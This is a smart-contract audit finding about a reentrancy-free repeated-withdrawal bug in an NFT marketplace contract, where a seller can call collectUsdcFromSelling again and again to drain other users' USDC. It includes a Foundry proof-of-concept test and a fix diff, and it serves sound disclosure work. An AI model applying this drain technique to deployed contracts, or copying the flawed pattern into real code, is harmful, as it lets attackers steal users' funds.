Description
-
collectUsdcFromSelling is designed to be called once by the seller after their NFT is sold, transferring price - fees + collateral to the seller and recording the fee for the owner.
-
The function never zeroes listing.price, listing.seller, or collateralForMinting[tokenId] after disbursement, and sets no "collected" flag. The only guards are onlySeller and require(!listing.isActive) — both remain permanently true after a sale, so the seller can call the function an unlimited number of times, draining the entire USDC balance of the contract. Additionally, usdc.safeTransfer(address(this), fees) is a self-transfer no-op that does nothing.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood:
-
Any seller whose listing was bought can call this function again at any time, as isActive stays false and no collected flag is ever set.
-
No admin action or special condition is required — a regular whitelisted user triggers this immediately after their first legitimate collection.
Impact:
-
Complete drainage of all USDC held by the contract, including collateral of other minters and sale proceeds of other sellers.
-
Other users permanently lose their collateral and/or sale proceeds.
Proof of Concept
Paste this function inside NFTDealersTest in test/NFTDealersTest.t.sol and run:
forge test --match-test testPoC_UnlimitedDrainViaCollectUsdcFromSelling -vvvv
function testPoC_UnlimitedDrainViaCollectUsdcFromSelling() public {
address alice = makeAddr("alice");
address buyer = makeAddr("buyer");
usdc.mint(alice, 20e6);
usdc.mint(buyer, 100e6);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
for (uint256 i = 0; i < 7; i++) {
address victim = makeAddr(string.concat("victim", vm.toString(i)));
usdc.mint(victim, 20e6);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
}
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(8, uint32(100e6));
vm.stopPrank();
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 100e6);
nftDealers.buy(8);
vm.stopPrank();
assertEq(usdc.balanceOf(address(nftDealers)), 260e6);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(8);
uint256 contractAfterFirst = usdc.balanceOf(address(nftDealers));
vm.prank(alice);
nftDealers.collectUsdcFromSelling(8);
assertEq(usdc.balanceOf(alice), 238e6);
assertEq(usdc.balanceOf(address(nftDealers)), contractAfterFirst - 119e6);
}
Recommended Mitigation
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(listing.price > 0, "Already collected");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ s_listings[_listingId].price = 0;
+ s_listings[_listingId].seller = address(0);
+ collateralForMinting[listing.tokenId] = 0;
usdc.safeTransfer(msg.sender, amountToSeller);
}
